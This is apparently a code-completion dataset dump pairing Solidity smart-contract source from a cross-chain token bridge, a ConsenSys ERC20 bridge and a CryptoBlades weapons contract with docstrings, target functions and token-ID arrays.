fromChainId foreign chain ID */ function deletePair(address toToken, uint256 fromChainId) external onlyOwner onlySetup { delete tokenPair[fromChainId][toToken]; } // Move tokens through the bridge and call the contract with 'data' parameters on the destination chain function bridgeToContract( address receiver, // address of token receiver on destination chain address token, // token that user send (if token address < 32, then send native coin) uint256 value, // tokens value uint256 toChainId, // destination chain Id where will be claimed tokens address toContract, // this contract will be called on destination chain bytes memory data // this data will be passed to contract call (ABI encoded parameters) ) external payable notFrozen { require(receiver != address(0), "Incorrect receiver address"); address pair_token = _deposit(token, value, toChainId); emit BridgeToContract(token, receiver, value, toChainId, pair_token, toContract, data); } // Claim tokens from the bridge and call the contract with 'data' parameters function claimToContract( address token, // token to receive bytes32 txId, // deposit transaction hash on fromChain address to, // user address uint256 value, // value of tokens uint256 fromChainId, // chain ID where user deposited address toContract, // this contract will be called on destination chain bytes memory data, // this data will be passed to contract call (ABI encoded parameters) bytes[] memory sig // authority signatures ) external notFrozen { require(!isTxProcessed[fromChainId][txId], "Transaction already processed"); Token memory pair = tokenPair[fromChainId][token]; require(pair.token != address(0), "There is no pair"); isTxProcessed[fromChainId][txId] = true; // Check signature address must = requiredAuthority; bytes32 messageHash = keccak256(abi.encodePacked(token, to, value, txId, fromChainId, block.chainid, toContract, data)); messageHash = prefixed(messageHash); uint256 uniqSig; uint256 set; // maximum number of authorities is 255 for (uint i = 0; i < sig.length; i++) { address authority = recoverSigner(messageHash, sig[i]); if (authority == must) must = address(0); uint256 index = authorities.indexOf(authority); uint256 mask = 1 << index; if (index != 0 && (set & mask) == 0 ) { set |= mask; uniqSig++; } } require(threshold <= uniqSig, "Require more signatures"); require(must == address(0), "The required authority does not sign"); // Call toContract if(isContract(toContract) && toContract != address(this)) { if (token <= MAX_NATIVE_COINS) { uint balance = address(this).balance; (bool success,) = toContract.call{value: value}(data); // transfer coin back to sender (to address(this)) is not supported if (!success && balance == address(this).balance) { // double check the coin was not spent to.safeTransferETH(value); // send coin to user } } else { if(pair.isWrapped) { IBEP20TokenCloned(token).mint(address(this), value); } else { tokenDeposits[token] -= value; } if (IBEP20TokenCloned(token).allowance(address(this), toContract) == 0) { // should be zero IBEP20TokenCloned(token).approve(toContract, value); (bool success,) = toContract.call{value: 0}(data); value = IBEP20TokenCloned(token).allowance(address(this), toContract); // unused amount (the rest) = allowance } if (value != 0) { // if not all value used reset approvement IBEP20TokenCloned(token).approve(toContract, 0); token.safeTransfer(to, value); // send to user rest of tokens } } } else { // if not contract if (token <= MAX_NATIVE_COINS) { to.safeTransferETH(value); } else { if(pair.isWrapped) { IBEP20TokenCloned(token).mint(to, value); } else { tokenDeposits[token] -= value; token.safeTransfer(to, value); } } } emit ClaimToContract(token, to, value, txId, fromChainId, pair.token, toContract); } function depositTokens( address receiver, // address of token receiver on destination chain address token, // token that user send (if token address < 32, then send native coin) uint256 value, // tokens value uint256 toChainId // destination chain Id where will be claimed tokens ) external payable notFrozen { require(receiver != address(0), "Incorrect receiver address"); address pair_token = _deposit(token, value, toChainId); emit Deposit(token, receiver, value, toChainId, pair_token); } function depositTokens( address token, // token that user send (if token address < 32, then send native coin) uint256 value, // tokens value uint256 toChainId // destination chain Id where will be claimed tokens ) external payable notFrozen { address pair_token = _deposit(token, value, toChainId); emit Deposit(token, msg.sender, value, toChainId, pair_token); } function _deposit( address token, // token that user send (if token address < 32, then send native coin) uint256 value, // tokens value uint256 toChainId // destination chain Id where will be claimed tokens ) internal returns (address pair_token) { Token memory pair = tokenPair[toChainId][token]; require(pair.token != address(0), "There is no pair"); pair_token = pair.token; uint256 fee = msg.value; if (token <= MAX_NATIVE_COINS) { require(value <= msg.value, "Wrong value"); fee -= value; } else { if(pair.isWrapped) { IBEP20TokenCloned(token).burnFrom(msg.sender, value); } else { tokenDeposits[token] += value; token.safeTransferFrom(msg.sender, address(this), value); } } if (fee != 0) { feeTo.safeTransferETH(fee); emit Fee(msg.sender, fee); } } // claim function claim( address token, // token to receive bytes32 txId, // deposit transaction hash on fromChain address to, // user address uint256 value, // value of tokens uint256 fromChainId, // chain ID where user deposited bytes[] memory sig // authority signatures ) external notFrozen { require(!isTxProcessed[fromChainId][txId], "Transaction already processed"); Token memory pair = tokenPair[fromChainId][token]; require(pair.token != address(0), "There is no pair"); isTxProcessed[fromChainId][txId] = true; address must = requiredAuthority; bytes32 messageHash = keccak256(abi.encodePacked(token, to, value, txId, fromChainId, block.chainid)); messageHash = prefixed(messageHash); uint256 uniqSig; uint256 set; // maximum number of authorities is 255 for (uint i = 0; i < sig.length; i++) { address authority = recoverSigner(messageHash, sig[i]); if (authority == must) must = address(0); uint256 index = authorities.indexOf(authority); uint256 mask = 1 << index; if (index != 0 && (set & mask) == 0 ) { set |= mask; uniqSig++; } } require(threshold <= uniqSig, "Require more signatures"); require(must == address(0), "The required authority does not sign"); if (token <= MAX_NATIVE_COINS) { to.safeTransferETH(value); } else { if(pair.isWrapped) { IBEP20TokenCloned(token).mint(to, value); } else { tokenDeposits[token] -= value; token.safeTransfer(to, value); } } emit Claim(token, to, value, txId, fromChainId, pair.token); } // Signature methods function splitSignature(bytes memory sig) internal pure returns (uint8 v, bytes32 r, bytes32 s) { require(sig.length == 65); assembly { // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } } function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) { uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(sig); return ecrecover(message, v, r, s); } // Builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
* @dev Delete unused pair @param toToken token address on native chain @param fromChainId foreign chain ID/
function deletePair(address toToken, uint256 fromChainId) external onlyOwner onlySetup { delete tokenPair[fromChainId][toToken]; }
2,141,383
[ 1, 2613, 10197, 3082, 225, 358, 1345, 1147, 1758, 603, 6448, 2687, 225, 628, 3893, 548, 5523, 2687, 1599, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1430, 4154, 12, 2867, 358, 1345, 16, 2254, 5034, 628, 3893, 548, 13, 3903, 1338, 5541, 1338, 7365, 288, 203, 3639, 1430, 1147, 4154, 63, 2080, 3893, 548, 6362, 869, 1345, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* * Copyright 2021 ConsenSys Software Inc * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ pragma solidity >=0.8.0; import "../../../../../../common/openzeppelin/src/main/solidity/token/ERC20/IERC20.sol"; import "../../../../../../functioncall/interface/src/main/solidity/CrosschainFunctionCallInterface.sol"; import "../../../../../../common/openzeppelin/src/main/solidity/access/AccessControl.sol"; import "../../../../../../common/openzeppelin/src/main/solidity/security/Pausable.sol"; import "../../../../../../common/openzeppelin/src/main/solidity/token/ERC20/presets/ERC20PresetMinterPauser.sol"; import "../../../../../../functioncall/interface/src/main/solidity/NonAtomicHiddenAuthParameters.sol"; /** * ERC 20 bridge using the Simple Function Call protocol. * */ contract SfcErc20Bridge is NonAtomicHiddenAuthParameters, Pausable, AccessControl { bytes32 public constant MAPPING_ROLE = keccak256("MAPPING_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant ADMINTRANSFER_ROLE = keccak256("ADMINTRANSFER_ROLE"); // Token contract configuration. // Token has not been added to the bridge yet. uint256 private constant TOKEN_CONTRACT_CONF_NONE = 0; // Tokens of this type are minted when transferred to this blockchain and burn // when transferred to another blockchain. uint256 private constant TOKEN_CONTRACT_CONF_MINTER = 1; // Tokens of this type are kept in escrow when transferred from this chain. // That is, transferFrom is used, and not mint or burn. uint256 private constant TOKEN_CONTRACT_CONF_MASSC = 2; // The maximum token contract configuration value. uint256 private constant TOKEN_CONTRACT_CONF_MAX = 2; // Simple Function Call bridge. CrosschainFunctionCallInterface private crosschainBridge; // Token configuration. This mapping is used to determine // how tokens should be processed when cross-blockchain transfers // occur. // // NOTE: An enum is not being used as when variables are invalid // enums, unhelpful errors are thrown. // // Map (token contract address on this blockchain => // token contract configuration) mapping(address => uint256) public tokenContractConfiguration; // Mapping of ERC 20 contracts on this blockchain to ERC 20 contracts // of the same type on different blockchains. // // Map (token contract address on this blockchain => // Map (destination blockchain Id => address on remote contract) mapping(address => mapping(uint256 => address)) private tokenContractAddressMapping; // Addresses of ERC 20 bridges on other blockchains. mapping(uint256 => address) private remoteErc20Bridges; /** * Indicates a request to transfer some tokens has occurred on this blockchain. * * @param _destBcId Blockchain the tokens are being transferred to. * @param _srcTokenContract Address of the ERC 20 token contract on this blockchain. * @param _destTokenContract Address of the ERC 20 token contract on the blockchain * the tokens are being transferred to. * @param _sender Address sending the tokens. * @param _recipient Address to transfer the tokens to on the target blockchain. * @param _amount Number of tokens to transfer. */ event TransferTo( uint256 _destBcId, address _srcTokenContract, address _destTokenContract, address _sender, address _recipient, uint256 _amount ); /** * Indicates a transfer request has been received on this blockchain. * * @param _srcBcId Blockchain the tokens are being transferred from. * @param _srcTokenContract Address of the ERC 20 token contract on the blockchain * the tokens are being transferred from. * @param _destTokenContract Address of the ERC 20 token contract on this blockchain. * @param _recipient Address to transfer the tokens to on the this blockchain. * @param _amount Number of tokens to transfer. */ event ReceivedFrom( uint256 _srcBcId, address _srcTokenContract, address _destTokenContract, address _recipient, uint256 _amount ); /** * Update the mapping between an ERC 20 contract on this blockchain and an ERC 20 * contract on another blockchain. * * @param _thisBcTokenContract Address of ERC 20 contract on this blockchain. * @param _otherBcId Blockchain ID where the corresponding ERC 20 contract resides. * @param _othercTokenContract Address of ERC 20 contract on the other blockchain. */ event TokenContractAddressMappingChanged( address _thisBcTokenContract, uint256 _otherBcId, address _othercTokenContract ); /** * Token contract configuration has been set / been changed. * * @param _thisBcTokenContract Address of ERC 20 contract on this blockchain. * @param _config Configuration value for the contract. */ event TokenContractConfig(address _thisBcTokenContract, uint256 _config); /** * Indicate an administrative transfer has occurred. * * @param _erc20Contract Token to transfer. * @param _recipient Address to transfer the tokens to. * @param _amount Number of tokens to transfer. */ event AdminTransfer( address _erc20Contract, address _recipient, uint256 _amount ); /** * @param _sfcCbcContract Simple Function Call protocol implementation. */ constructor(address _sfcCbcContract) { address sender = _msgSender(); _setupRole(DEFAULT_ADMIN_ROLE, sender); _setupRole(MAPPING_ROLE, sender); _setupRole(PAUSER_ROLE, sender); _setupRole(ADMINTRANSFER_ROLE, sender); crosschainBridge = CrosschainFunctionCallInterface(_sfcCbcContract); } /** * Pauses the bridge. * * Requirements: * - the caller must have the `PAUSER_ROLE`. */ function pause() external { require( hasRole(PAUSER_ROLE, _msgSender()), "ERC20 Bridge: Must have PAUSER role" ); _pause(); } /** * Unpauses the bridge. * * Requirements: * - the caller must have the `PAUSER_ROLE`. */ function unpause() external { require( hasRole(PAUSER_ROLE, _msgSender()), "ERC20 Bridge: Must have PAUSER role" ); _unpause(); } /** * @dev Add a token mapping and set the token contract configuration. This can * only be called if the token has not been set-up yet. * * Requirements: * - the caller must have the `MAPPING_ROLE`. * * @param _thisBcTokenContract Address of ERC 20 contract on this blockchain. * @param _otherBcId Blockchain ID where the corresponding ERC 20 contract resides. * @param _otherTokenContract Address of ERC 20 contract on the other blockchain. * @param _thisBcMassC True if the token contract on this blockchain uses mass conservation. */ function addContractFirstMapping( address _thisBcTokenContract, uint256 _otherBcId, address _otherTokenContract, bool _thisBcMassC ) external { require( hasRole(MAPPING_ROLE, _msgSender()), "ERC20 Bridge: Must have MAPPING role" ); require( !tokenExists(_thisBcTokenContract), "ERC20 Bridge: token already configured" ); setTokenConfigInternal(_thisBcTokenContract, _thisBcMassC); changeContractMappingInternal( _thisBcTokenContract, _otherBcId, _otherTokenContract ); } /** * @dev Set the token configuration after the token has first been added. The ONLY reason * to call this function is that when the contract was first added, it was added with * the wrong value. * * Requirements: * - the caller must have the `MAPPING_ROLE`. * * @param _thisBcTokenContract Address of ERC 20 contract on this blockchain. * @param _thisBcMassC True if the token contract on this blockchain uses mass conservation. */ function setTokenConfig(address _thisBcTokenContract, bool _thisBcMassC) external { require( hasRole(MAPPING_ROLE, _msgSender()), "ERC20 Bridge: Must have MAPPING role" ); require( tokenExists(_thisBcTokenContract), "ERC20 Bridge: token not configured" ); setTokenConfigInternal(_thisBcTokenContract, _thisBcMassC); } /** * @dev Update the mapping between an ERC 20 contract on this blockchain and an ERC 20 * contract on another blockchain. * * Requirements: * - the caller must have the `MAPPING_ROLE`. * * @param _thisBcTokenContract Address of ERC 20 contract on this blockchain. * @param _otherBcId Blockchain ID where the corresponding ERC 20 contract resides. * @param _otherTokenContract Address of ERC 20 contract on the other blockchain. */ function changeContractMapping( address _thisBcTokenContract, uint256 _otherBcId, address _otherTokenContract ) external { require( hasRole(MAPPING_ROLE, _msgSender()), "ERC20 Bridge: Must have MAPPING role" ); require( tokenExists(_thisBcTokenContract), "ERC20 Bridge: token not configured" ); changeContractMappingInternal( _thisBcTokenContract, _otherBcId, _otherTokenContract ); } /** * Connect this ERC20 Bridge contract to an ERC20 Bridge contract on another blockchain. * * Requirements: * - the caller must have the `MAPPING_ROLE`. * * @param _otherBcId Blockchain ID where the corresponding ERC 20 bridge contract resides. * @param _otherErc20Bridge Address of ERC 20 Bridge contract on other blockchain. */ function changeBlockchainMapping( uint256 _otherBcId, address _otherErc20Bridge ) external { require( hasRole(MAPPING_ROLE, _msgSender()), "ERC20 Bridge: Must have MAPPING role" ); remoteErc20Bridges[_otherBcId] = _otherErc20Bridge; } /** * Transfer tokens from msg.sender to this contract on this blockchain, * and request tokens on the remote blockchain be given to the requested * account on the destination blockchain. * * NOTE: msg.sender must have called approve() on the token contract. * * @param _srcTokenContract Address of ERC 20 contract on this blockchain. * @param _recipient Address of account to transfer tokens to on the destination blockchain. * @param _amount The number of tokens to transfer. */ function transferToOtherBlockchain( uint256 _destBcId, address _srcTokenContract, address _recipient, uint256 _amount ) public whenNotPaused { address destErc20BridgeContract = remoteErc20Bridges[_destBcId]; require( destErc20BridgeContract != address(0), "ERC20 Bridge: Blockchain not supported" ); // The token must be able to be transferred to the target blockchain. address destTokenContract = tokenContractAddressMapping[ _srcTokenContract ][_destBcId]; require( destTokenContract != address(0), "ERC20 Bridge: Token not transferable to requested blockchain" ); // Transfer tokens from the user to this contract. // The transfer will revert if the account has inadequate balance or if adequate // allowance hasn't been set-up. transferOrBurn(_srcTokenContract, msg.sender, _amount); crosschainBridge.crossBlockchainCall( _destBcId, destErc20BridgeContract, abi.encodeWithSelector( this.receiveFromOtherBlockchain.selector, destTokenContract, _recipient, _amount ) ); emit TransferTo( _destBcId, _srcTokenContract, destTokenContract, msg.sender, _recipient, _amount ); } /** * Transfer tokens that are owned by this contract to a recipient. The tokens have * effectively been transferred from another blockchain to this blockchain. * * @param _destTokenContract ERC 20 contract of the token being transferred. * @param _recipient Account to transfer ownership of the tokens to. * @param _amount The number of tokens to be transferred. */ function receiveFromOtherBlockchain( address _destTokenContract, address _recipient, uint256 _amount ) external whenNotPaused { require( _msgSender() == address(crosschainBridge), "ERC20 Bridge: Can not process transfers from contracts other than the bridge contract" ); ( uint256 sourceBcId, address sourceContract ) = decodeNonAtomicAuthParams(); // The source blockchain id is validated at the function call layer. No need to check // that it isn't zero. require( sourceContract != address(0), "ERC 20 Bridge: caller contract is 0" ); address remoteErc20Bridge = remoteErc20Bridges[sourceBcId]; require( remoteErc20Bridge != address(0), "ERC20 Bridge: No ERC 20 Bridge supported for source blockchain" ); require( sourceContract == remoteErc20Bridge, "ERC20 Bridge: Incorrect source ERC 20 Bridge" ); transferOrMint(_destTokenContract, _recipient, _amount); emit ReceivedFrom( sourceBcId, sourceContract, _destTokenContract, _recipient, _amount ); } /** * Transfer any amount of any ERC 20 to anyone. This is needed to provide refunds to * customers who have had failed transactions where the token transfer occurred on this * blockchain, but did not happen on the destination blockchain. * * This function needs to be used with extreme caution. A system with * users' funds escrowed into this contact while they are used on a rollup * or sidechain needs to be kept in perfect balance. That is, the number of * escrowed tokens must match the number of tokens on other blockchains. * * Requirements: * - the caller must have the `ADMINTRANSFER_ROLE`. * * @param _erc20Contract Token to transfer. * @param _recipient Address to transfer the tokens to. * @param _amount Number of tokens to transfer. */ function adminTransfer( address _erc20Contract, address _recipient, uint256 _amount ) external { require( hasRole(ADMINTRANSFER_ROLE, _msgSender()), "ERC20 Bridge: Must have ADMINTRANSFER role" ); transferOrMint(_erc20Contract, _recipient, _amount); emit AdminTransfer(_erc20Contract, _recipient, _amount); } /** * Indicates whether a token can be transferred to (or from) a blockchain. * * @param _bcId Blockchain id of other blockchain. * @param _tokenContract Address of ERC 20 token contract on this blockchain. * @return bool True if the token can be transferred to (or from) a blockchain. */ function isBcIdTokenAllowed(uint256 _bcId, address _tokenContract) public view returns (bool) { return address(0) != tokenContractAddressMapping[_tokenContract][_bcId]; } /** * Gets the mapping between an ERC 20 contract on this blockchain and the ERC 20 contract on * another blockchain. * * @param _bcId Blockchain id of other blockchain. * @param _tokenContract Address of ERC 20 token contract on this blockchain. * @return address Contract address of ERC 20 token contract on other blockchain. */ function getBcIdTokenMaping(uint256 _bcId, address _tokenContract) public view returns (address) { return tokenContractAddressMapping[_tokenContract][_bcId]; } function getRemoteErc20BridgeContract(uint256 _bcId) external view returns (address) { return remoteErc20Bridges[_bcId]; } // *************************************************************************** // ******* Internal below here *********************************************** // *************************************************************************** /** * @dev Mass Conservation: Transfer tokens that are owned by this contract to a recipient. * OR * Minting Burning: Mint token and assign them to a recipient. * * NOTE: The calls to the ERC 20 contracts are not wrapped. If they revert, the * entire call will revert. This will allow the user to see the revert message * from the ERC 20 contract. This will hopefully make it easier for a user to * debug the issue. * * @param _tokenContract ERC 20 contract of the token being transferred or minted. * @param _recipient Account to transfer ownership of the tokens to. * @param _amount The number of tokens to be transferred. */ function transferOrMint( address _tokenContract, address _recipient, uint256 _amount ) private { if ( tokenContractConfiguration[_tokenContract] == TOKEN_CONTRACT_CONF_MASSC ) { if (!IERC20(_tokenContract).transfer(_recipient, _amount)) { revert("transfer failed"); } } else { ERC20PresetMinterPauser(_tokenContract).mint(_recipient, _amount); } } /** * @dev Mass Conservation: TransferFrom tokens from a spender to this contract. * OR * Minting Burning: BurnFrom a spender's tokens. * * NOTE: The calls to the ERC 20 contracts are not wrapped. If they revert, the * entire call will revert. This will allow the user to see the revert message * from the ERC 20 contract. This will hopefully make it easier for a user to * debug the issue. * * @param _tokenContract ERC 20 contract of the token being transferred or burned. * @param _spender Account to transfer ownership of the tokens from. * @param _amount The number of tokens to be transferred. */ function transferOrBurn( address _tokenContract, address _spender, uint256 _amount ) private { if ( tokenContractConfiguration[_tokenContract] == TOKEN_CONTRACT_CONF_MASSC ) { if ( !IERC20(_tokenContract).transferFrom( _spender, address(this), _amount ) ) { revert("transferFrom failed"); } } else { ERC20PresetMinterPauser(_tokenContract).burnFrom(_spender, _amount); } } function tokenExists(address _tokenContract) private view returns (bool) { return tokenContractConfiguration[_tokenContract] != TOKEN_CONTRACT_CONF_NONE; } function setTokenConfigInternal( address _thisBcTokenContract, bool _thisBcMassC ) private { uint256 config = _thisBcMassC ? TOKEN_CONTRACT_CONF_MASSC : TOKEN_CONTRACT_CONF_MINTER; tokenContractConfiguration[_thisBcTokenContract] = config; emit TokenContractConfig(_thisBcTokenContract, config); } function changeContractMappingInternal( address _thisBcTokenContract, uint256 _otherBcId, address _othercTokenContract ) private { tokenContractAddressMapping[_thisBcTokenContract][ _otherBcId ] = _othercTokenContract; emit TokenContractAddressMappingChanged( _thisBcTokenContract, _otherBcId, _othercTokenContract ); } }
* Connect this ERC20 Bridge contract to an ERC20 Bridge contract on another blockchain. Requirements: - the caller must have the `MAPPING_ROLE`. @param _otherBcId Blockchain ID where the corresponding ERC 20 bridge contract resides. @param _otherErc20Bridge Address of ERC 20 Bridge contract on other blockchain./
function changeBlockchainMapping( uint256 _otherBcId, address _otherErc20Bridge ) external { require( hasRole(MAPPING_ROLE, _msgSender()), "ERC20 Bridge: Must have MAPPING role" ); remoteErc20Bridges[_otherBcId] = _otherErc20Bridge; }
12,860,368
[ 1, 5215, 333, 4232, 39, 3462, 24219, 6835, 358, 392, 4232, 39, 3462, 24219, 6835, 603, 4042, 16766, 18, 29076, 30, 300, 326, 4894, 1297, 1240, 326, 1375, 20450, 67, 16256, 8338, 225, 389, 3011, 38, 71, 548, 5411, 3914, 5639, 1599, 1625, 326, 4656, 4232, 39, 4200, 10105, 6835, 400, 4369, 18, 225, 389, 3011, 41, 1310, 3462, 13691, 377, 5267, 434, 4232, 39, 4200, 24219, 6835, 603, 1308, 16766, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2549, 1768, 5639, 3233, 12, 203, 3639, 2254, 5034, 389, 3011, 38, 71, 548, 16, 203, 3639, 1758, 389, 3011, 41, 1310, 3462, 13691, 203, 565, 262, 3903, 288, 203, 3639, 2583, 12, 203, 5411, 28335, 12, 20450, 67, 16256, 16, 389, 3576, 12021, 1435, 3631, 203, 5411, 315, 654, 39, 3462, 24219, 30, 6753, 1240, 28801, 2478, 6, 203, 3639, 11272, 203, 3639, 2632, 41, 1310, 3462, 38, 1691, 2852, 63, 67, 3011, 38, 71, 548, 65, 273, 389, 3011, 41, 1310, 3462, 13691, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/83/0xF0Db6d3bbf2d728dF91B01018CDeE635cFCb1B9a/sources/Users/cuimiandashi/Documents/GitHub/meterio/cryptoblades/contracts/weapons.sol
if we could afford to set exploiter weapons busy, the promos check becomes redundant, saving ~4.2k gas
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override { if(from != address(0)) require(nftVars[tokenId][NFTVAR_BUSY] == 0 && (to == address(0) || promos.getBit(from, 4) == false)); }
9,558,183
[ 1, 430, 732, 3377, 7103, 517, 358, 444, 15233, 2165, 732, 438, 7008, 21697, 16, 326, 3012, 538, 866, 12724, 19530, 16, 12392, 4871, 24, 18, 22, 79, 16189, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
